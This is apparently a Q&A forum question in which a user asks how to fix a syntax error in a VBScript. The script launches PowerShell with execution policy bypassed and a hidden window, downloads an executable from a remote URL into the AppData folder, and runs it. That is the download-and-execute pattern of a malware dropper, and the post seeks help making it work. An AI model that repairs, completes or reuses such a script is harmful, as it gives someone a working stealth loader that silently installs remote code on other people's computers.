title: VBScript to launch powershell.exe as root and execute command
body: <p>The following VBScript gives the error:</p>
  
  <blockquote>
    <p>failing : error invalid character line 5 column 54 </p>
  </blockquote>
  
  <p>My VBScript:</p>
  
  <pre><code>dim myobject : 
  set myobject = createobject ( "wscript.shell" ) : 
  powershellcommand = "powershell.exe -Executionpolicy bypass -noprofile -windowstyle hidden -command Set-content -value (new-object System.net.webclient).downloaddata(  https://website.com/folder/download.exe  ) -encoding byte -Path  $env:appdata\download.exe  ; start  $env:appdata\download.exe " : 
  myobject.run " &amp; myobject.expandenvironmentstrings( "%systemroot%" ) &amp; "\SYSTEM32\windowspowerShell\v1.0\powershell.exe" &amp; " &amp; ' ' &amp; " &amp; powershellcommand &amp; " , 0 : set myobject = NOTHING
  </code></pre>
  
  <p>How do I fix it?</p>